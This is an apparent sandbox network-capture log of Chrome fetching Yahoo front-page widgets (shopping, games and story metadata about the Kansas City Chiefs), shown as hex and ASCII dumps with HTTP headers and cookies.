2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 70 68 73 22 3a 30 7d 2c 22 63 6f 6e 74 65 6e 74 54 79 70 65 22 3a 22 73 74 6f 72 79 22 2c 22 65 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 4c 69 73 74 22 3a 22 22 2c 22 65 6e 74 69 74 69 65 73 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 4b 61 6e 73 61 73 5f 43 69 74 79 5f 43 68 69 65 66 73 22 2c 22 6c 61 62 65 6c 22 3a 22 4b 61 6e 73 61 73 20 43 69 74 79 20 43 68 69 65 66 73 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 39 39 36 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 73 70 6f 72 74 73 5f 75 73 5f 65 6e 5f 75 73 5f 69 64 5f 32 22 3a 22 73 70 6f 72 74 73 2e 75 73 2e 6e 66 6c 3a 74 65 61 6d 3a 31 32 22 2c 22 76 69 73 69 62 6c 65 22 3a 22 74 72 75 65 22 2c 22 73 70 6f 72 74 73 2e 55 53 2e 65 6e 2d 55 53 2e 72 65 6c 61 74 69 76 65 Data Ascii: phs":0},"contentType":"story","editorialPicksList":"","entities":[{"term":"WIKIID:Kansas_City_Chiefs","label":"Kansas City Chiefs","capAbtScore":"0.996","metaData":[{"sports_us_en_us_id_2":"sports.us.nfl:team:12","visible":"true","sports.US.en-US.relative
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 39 31 31 2c 22 65 6e 64 63 68 61 72 22 3a 39 32 30 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 2c 22 69 6e 73 74 61 6e 63 65 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 7d 2c 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 53 61 6c 65 73 5f 74 61 78 22 2c 22 6c 61 62 65 6c 22 3a 22 73 61 6c 65 73 20 74 61 78 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 39 31 33 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 31 37 35 2c 22 65 6e 64 63 68 61 72 22 3a 31 38 33 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 22 74 69 74 6c 65 22 5d 2c Data Ascii: ble":"false"}],"startchar":911,"endchar":920,"specialParentTags":[],"instanceParentTags":[]},{"term":"WIKIID:Sales_tax","label":"sales tax","capAbtScore":"0.913","metaData":[{"visible":"false"}],"startchar":175,"endchar":183,"specialParentTags":["title"],
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 22 68 61 73 53 63 72 69 62 62 6c 65 22 3a 66 61 6c 73 65 2c 22 68 61 73 53 6c 69 63 6b 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 68 61 73 58 72 61 79 53 69 64 65 52 61 69 6c 22 3a 66 61 6c 73 65 2c 22 68 65 72 6f 4d 6f 64 75 6c 65 22 3a 7b 7d 2c 22 68 69 64 65 41 6c 6c 41 64 73 22 3a 66 61 6c 73 65 2c 22 68 6f 73 74 65 64 54 79 70 65 22 3a 22 68 6f 73 74 65 64 22 2c 22 68 72 65 66 4c 61 6e 67 73 22 3a 5b 5d 2c 22 69 73 42 72 61 6e 64 65 64 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 43 6f 6d 6d 65 6e 74 73 45 6c 69 67 69 62 6c 65 22 3a 66 61 6c 73 65 2c 22 69 73 43 72 65 61 74 6f 72 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 49 6d 6d 65 72 73 69 76 65 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 4f 72 69 67 69 6e 61 6c 43 6f Data Ascii: "hasScribble":false,"hasSlickVideo":false,"hasXraySideRail":false,"heroModule":{},"hideAllAds":false,"hostedType":"hosted","hrefLangs":[],"isBrandedContent":false,"isCommentsEligible":false,"isCreatorContent":false,"isImmersiveContent":false,"isOriginalCo
2024-04-27 22:41:54 UTC	879	IN	Data Raw: 61 22 3a 7b 22 72 65 76 73 70 22 3a 22 61 70 2e 6f 72 67 22 7d 2c 22 73 61 6c 69 65 6e 74 45 6e 74 69 74 69 65 73 22 3a 5b 7b 22 63 61 6e 6f 6e 69 63 61 6c 49 64 22 3a 22 4b 61 6e 73 61 73 5f 43 69 74 79 5f 43 68 69 65 66 73 22 2c 22 63 61 6e 6f 6e 69 63 61 6c 54 79 70 65 22 3a 22 77 69 6b 69 5f 69 64 22 2c 22 73 65 63 6f 6e 64 61 72 79 49 64 73 22 3a 7b 22 77 69 6b 69 5f 69 64 22 3a 22 4b 61 6e 73 61 73 5f 43 69 74 79 5f 43 68 69 65 66 73 22 2c 22 79 6b 5f 69 64 22 3a 22 62 34 38 39 39 31 36 37 2d 31 37 31 38 2d 34 66 32 36 2d 38 36 32 39 2d 31 62 30 38 64 35 38 32 63 61 32 62 22 7d 2c 22 74 65 78 74 22 3a 22 4b 61 6e 73 61 73 20 43 69 74 79 20 43 68 69 65 66 73 22 2c 22 74 79 70 65 22 3a 22 53 50 4f 52 54 53 22 7d 2c 7b 22 63 61 6e 6f 6e 69 63 61 6c 49 Data Ascii: a":{"revsp":"ap.org"},"salientEntities":[{"canonicalId":"Kansas_City_Chiefs","canonicalType":"wiki_id","secondaryIds":{"wiki_id":"Kansas_City_Chiefs","yk_id":"b4899167-1718-4f26-8629-1b08d582ca2b"},"text":"Kansas City Chiefs","type":"SPORTS"},{"canonicalI
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6d 61 67 65 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6e 79 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 4a 6e 59 36 43 54 57 67 38 70 59 65 4f 36 50 74 44 36 41 51 44 67 2d 2d 2f 59 58 42 77 61 57 51 39 61 47 6c 6e 61 47 78 68 62 6d 52 6c 63 6a 74 33 50 54 45 79 4d 44 41 37 61 44 30 34 4d 44 41 2d 2f 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 7a 65 6e 66 73 2e 63 6f 6d 2f 65 6e 2f 61 70 2e 6f 72 67 2f 38 30 35 38 31 34 39 32 34 34 38 30 33 34 39 32 35 61 64 34 63 35 35 64 64 61 32 34 64 39 39 62 22 2c 22 77 69 64 74 68 22 3a 31 32 30 30 2c 22 68 65 69 67 68 74 22 3a 38 30 30 7d 2c 22 73 68 6f 77 45 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 66 61 6c 73 65 2c 22 73 6c 69 63 6b 54 68 Data Ascii: mage":{"url":"https://s.yimg.com/ny/api/res/1.2/JnY6CTWg8pYeO6PtD6AQDg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTEyMDA7aD04MDA-/https://media.zenfs.com/en/ap.org/80581492448034925ad4c55dda24d99b","width":1200,"height":800},"showEditorialPicksPlaceholder":false,"slickTh
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 30 35 32 35 61 32 66 37 32 63 22 2c 22 76 69 64 65 6f 50 6f 73 69 74 69 6f 6e 22 3a 22 22 2c 22 77 69 6b 69 69 64 73 22 3a 22 4b 61 6e 73 61 73 5f 43 69 74 79 5f 43 68 69 65 66 73 2c 41 72 72 6f 77 68 65 61 64 5f 53 74 61 64 69 75 6d 2c 4b 61 75 66 66 6d 61 6e 5f 53 74 61 64 69 75 6d 2c 43 6c 61 72 6b 5f 48 75 6e 74 2c 53 61 6c 65 73 5f 74 61 78 2c 4b 61 6e 73 61 73 2c 54 68 65 5f 52 6f 79 61 6c 73 5f 25 32 38 54 56 5f 73 65 72 69 65 73 25 32 39 2c 52 65 6e 6f 76 61 74 69 6f 6e 2c 54 72 75 6d 61 6e 5f 53 70 6f 72 74 73 5f 43 6f 6d 70 6c 65 78 2c 4a 61 63 6b 73 6f 6e 5f 43 6f 75 6e 74 79 2c 5f 4d 69 73 73 6f 75 72 69 22 2c 22 78 72 61 79 4d 65 74 61 22 3a 5b 5d 2c 22 79 63 74 73 22 3a 22 30 30 31 30 30 30 30 30 32 22 2c 22 68 61 73 59 61 68 6f 6f 56 69 64 Data Ascii: 0525a2f72c","videoPosition":"","wikiids":"Kansas_City_Chiefs,Arrowhead_Stadium,Kauffman_Stadium,Clark_Hunt,Sales_tax,Kansas,The_Royals_%28TV_series%29,Renovation,Truman_Sports_Complex,Jackson_County,_Missouri","xrayMeta":[],"ycts":"001000002","hasYahooVid
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 3a 5c 22 4d 6f 72 65 5c 22 2c 5c 22 4e 45 57 5f 55 50 44 41 54 45 5c 22 3a 5c 22 6e 65 77 20 75 70 64 61 74 65 5c 22 2c 5c 22 4e 45 57 5f 55 50 44 41 54 45 53 5c 22 3a 5c 22 6e 65 77 20 75 70 64 61 74 65 73 5c 22 2c 5c 22 4a 55 53 54 5f 4e 4f 57 5c 22 3a 5c 22 4a 75 73 74 20 6e 6f 77 5c 22 2c 5c 22 52 45 4c 4f 41 44 5c 22 3a 5c 22 43 6c 69 63 6b 20 74 6f 20 72 65 6c 6f 61 64 20 77 69 74 68 20 6c 61 74 65 73 74 20 75 70 64 61 74 65 5c 22 2c 5c 22 53 45 45 20 7b 30 7d 20 4d 4f 52 45 5c 22 3a 5c 22 53 65 65 20 7b 30 7d 20 6d 6f 72 65 5c 22 2c 5c 22 53 45 45 5f 4c 45 53 53 5c 22 3a 5c 22 53 65 65 20 6c 65 73 73 5c 22 2c 5c 22 53 45 45 5f 4d 4f 52 45 5c 22 3a 5c 22 53 65 65 20 6d 6f 72 65 5c 22 2c 5c 22 53 48 4f 57 5f 4d 4f 52 45 5c 22 3a 5c 22 53 68 6f 77 20 Data Ascii: :\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 76 69 65 77 4c 69 6d 69 74 5c 22 3a 35 2c 5c 22 66 72 65 65 7a 65 4f 6e 4c 69 6e 6b 43 6c 69 63 6b 5c 22 3a 74 72 75 65 2c 5c 22 6c 61 7a 79 4f 66 66 73 65 74 59 5c 22 3a 31 33 30 30 2c 5c 22 6c 69 76 65 63 6f 76 65 72 61 67 65 5c 22 3a 7b 5c 22 64 65 66 65 72 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 69 6d 61 67 65 43 61 70 74 69 6f 6e 43 6f 6c 6c 61 70 73 65 4c 69 6e 65 43 6f 75 6e 74 5c 22 3a 33 2c 5c 22 73 6c 69 64 65 73 68 6f 77 43 61 70 74 69 6f 6e 43 6f 6c 6c 61 70 73 65 4c 69 6e 65 43 6f 75 6e 74 5c 22 3a 32 2c 5c 22 75 69 53 68 6f 77 50 72 65 76 69 6f 75 73 42 75 74 74 6f 6e 4f 6e 4c 6f 61 64 5c 22 3a 74 72 75 65 2c 5c 22 70 72 65 73 74 69 67 65 53 63 72 6f 6c 6c 4d 61 72 67 69 6e 54 6f 70 5c 22 3a 2d 37 32 7d 7d 27 20 64 61 74 61 2d 73 70 61 63 65 2d Data Ascii: viewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49870	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	879	OUT	GET /fp_ms/_rcv/remote?ctrl=Shopping&m_id=react-wafer-shopping&m_mode=json&partner=none HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
2024-04-27 22:41:54 UTC	1281	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-applet-id: react-wafer-shopping vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:54 GMT x-envoy-upstream-service-time: 13 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 1 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=0ru4k9lj2qvph&partner=;
2024-04-27 22:41:54 UTC	225	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Transfer-Encoding: chunkedConnection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 35 66 37 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 73 68 6f 70 70 69 6e 67 2e 53 68 6f 70 70 69 6e 67 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 64 31 35 36 62 35 34 31 63 30 32 38 66 65 37 64 33 31 36 37 62 31 30 31 64 31 35 35 30 30 66 36 2e 6d 69 6e 2e 63 73 73 22 2c 22 Data Ascii: 5f7{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-shopping.Shopping.atomic.ltr.d156b541c028fe7d3167b101d15500f6.min.css","
2024-04-27 22:41:54 UTC	239	IN	Data Raw: 74 3b 7d 5c 22 20 64 61 74 61 2d 77 66 2d 74 72 69 67 67 65 72 3d 5c 22 6f 6e 4c 6f 61 64 5c 22 20 64 61 74 61 2d 77 66 2d 74 61 72 67 65 74 3d 5c 22 23 63 6f 6d 6d 65 72 63 65 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 61 69 6e 65 72 5c 22 20 64 61 74 61 2d 77 66 2d 75 72 6c 3d 5c 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 3f 63 74 72 6c 3d 53 68 6f 70 70 69 6e 67 43 6f 6e 74 65 6e 74 26 61 6d 70 3b 6d 5f 69 64 3d 72 65 61 63 74 2d 77 61 66 65 72 2d 73 68 6f 70 70 69 6e 67 26 61 6d 70 3b 6d 5f 6d 6f 64 65 3d 6a 73 6f 6e 26 61 6d 70 3b 78 68 72 50 61 74 68 50 72 65 66 69 78 3d 25 32 46 66 70 5f 6d 73 25 32 46 5f 72 63 76 25 32 46 72 65 6d 6f 74 65 5c 22 3e 3c 2f 64 69 76 3e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: t;}\" data-wf-trigger=\"onLoad\" data-wf-target=\"#commerce-module-container\" data-wf-url=\"/fp_ms/_rcv/remote?ctrl=ShoppingContent&m_id=react-wafer-shopping&m_mode=json&xhrPathPrefix=%2Ffp_ms%2F_rcv%2Fremote\"></div>"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49867	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	963	OUT	GET /fp_ms/_rcv/remote?ctrl=GamesMini&lang=en-US&m_id=react-wafer-games&m_mode=json&region=US&rid=1sbetl5j2qvpa&site=fp&apptype=default&instance_id=games&_evtSrc=deferLoad HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
2024-04-27 22:41:54 UTC	1300	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-instance-id: games x-applet-id: react-wafer-games vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:54 GMT x-envoy-upstream-service-time: 26 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 1 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2hogbhpj2qvpi&partner=;
2024-04-27 22:41:54 UTC	225	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Transfer-Encoding: chunkedConnection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 33 64 61 33 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 67 61 6d 65 73 2e 47 61 6d 65 73 4d 69 6e 69 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 31 33 35 31 33 35 33 63 66 38 31 32 39 30 31 32 61 36 38 36 65 35 31 39 36 30 38 38 31 32 64 35 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e Data Ascii: 3da3{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-games.GamesMini.atomic.ltr.1351353cf8129012a686e519608812d5.min.css","n
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 42 64 65 6e 64 73 28 73 29 20 42 64 72 73 28 32 70 78 29 20 42 64 65 6e 64 63 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 29 5c 22 3e 3c 2f 69 3e 3c 68 33 20 63 6c 61 73 73 3d 5c 22 54 64 28 6e 29 20 43 28 2d 2d 62 61 74 63 61 76 65 29 20 4d 62 28 30 29 20 46 77 28 36 30 30 29 20 46 7a 28 31 34 70 78 29 5c 22 3e 50 6c 61 79 20 67 61 6d 65 73 20 6f 6e 20 59 61 68 6f 6f 3c 2f 68 33 3e 3c 2f 64 69 76 3e 3c 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 67 61 6d 65 73 2d 74 61 62 73 2d 73 63 72 6f 6c 6c 76 69 65 77 20 77 61 66 65 72 2d 73 63 72 6f 6c 6c 76 69 65 77 20 50 6f 73 28 72 29 20 4d 78 28 2d 32 30 70 78 29 20 54 61 28 63 29 20 4f 76 28 68 29 5c 22 20 64 61 74 61 2d 77 66 2d 62 65 68 61 76 69 6f 72 3d 5c 22 6e 61 74 Data Ascii: Bdends(s) Bdrs(2px) Bdendc(--hulk-pants)\"></i><h3 class=\"Td(n) C(--batcave) Mb(0) Fw(600) Fz(14px)\">Play games on Yahoo</h3></div><div></div></div><div class=\"games-tabs-scrollview wafer-scrollview Pos(r) Mx(-20px) Ta(c) Ov(h)\" data-wf-behavior=\"nat
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 30 70 78 29 3a 6c 63 20 77 61 66 65 72 2d 66 65 74 63 68 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 69 74 63 3a 31 3b 73 65 63 3a 61 70 70 2d 67 61 6d 65 73 3b 63 70 6f 73 3a 31 3b 65 6c 6d 3a 74 61 62 3b 73 6c 6b 3a 57 6f 72 64 3b 5c 22 20 69 64 3d 5c 22 67 61 6d 65 73 2d 74 61 62 2d 31 5c 22 20 72 6f 6c 65 3d 5c 22 74 61 62 5c 22 20 64 61 74 61 2d 77 66 2d 74 61 72 67 65 74 3d 5c 22 23 67 61 6d 65 73 2d 70 61 6e 65 6c 2d 31 5c 22 20 64 61 74 61 2d 77 66 2d 74 72 69 67 67 65 72 3d 5c 22 74 61 62 41 63 74 69 76 61 74 65 5c 22 20 64 61 74 61 2d 77 66 2d 75 72 6c 3d 5c 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 5c 22 20 64 61 74 61 2d 77 66 2d 62 6f 64 79 3d 5c 22 7b 26 71 75 6f 74 3b 63 74 72 6c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 47 61 6d Data Ascii: 0px):lc wafer-fetch\" data-ylk=\"itc:1;sec:app-games;cpos:1;elm:tab;slk:Word;\" id=\"games-tab-1\" role=\"tab\" data-wf-target=\"#games-panel-1\" data-wf-trigger=\"tabActivate\" data-wf-url=\"/fp_ms/_rcv/remote\" data-wf-body=\"{"ctrl":"Gam
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 74 68 50 72 65 66 69 78 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 26 71 75 6f 74 3b 7d 7d 5c 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 45 6c 6c 20 4d 61 77 28 31 36 63 68 29 20 50 65 28 6e 29 20 44 28 62 29 20 50 79 28 31 30 70 78 29 20 46 77 28 35 30 30 29 20 46 7a 28 2d 2d 66 6f 6e 74 2d 31 31 70 78 29 20 74 61 62 41 63 74 69 76 65 5f 42 78 73 68 28 24 74 61 62 73 42 74 6e 53 68 61 64 6f 77 29 20 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 42 64 72 73 28 33 32 70 78 29 20 43 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 20 50 78 28 31 32 70 78 29 20 74 61 62 41 63 74 69 76 65 5f 42 67 63 28 2d 2d 77 68 69 74 65 29 21 20 74 61 62 41 63 74 69 76 65 5f 43 28 2d 2d 69 6e 6b 77 65 6c 6c 29 21 Data Ascii: thPrefix":"/fp_ms/_rcv/remote"}}\"><span class=\"Ell Maw(16ch) Pe(n) D(b) Py(10px) Fw(500) Fz(--font-11px) tabActive_Bxsh($tabsBtnShadow) Bgc(--marshmallow) Bdrs(32px) C(--battleship) Px(12px) tabActive_Bgc(--white)! tabActive_C(--inkwell)!
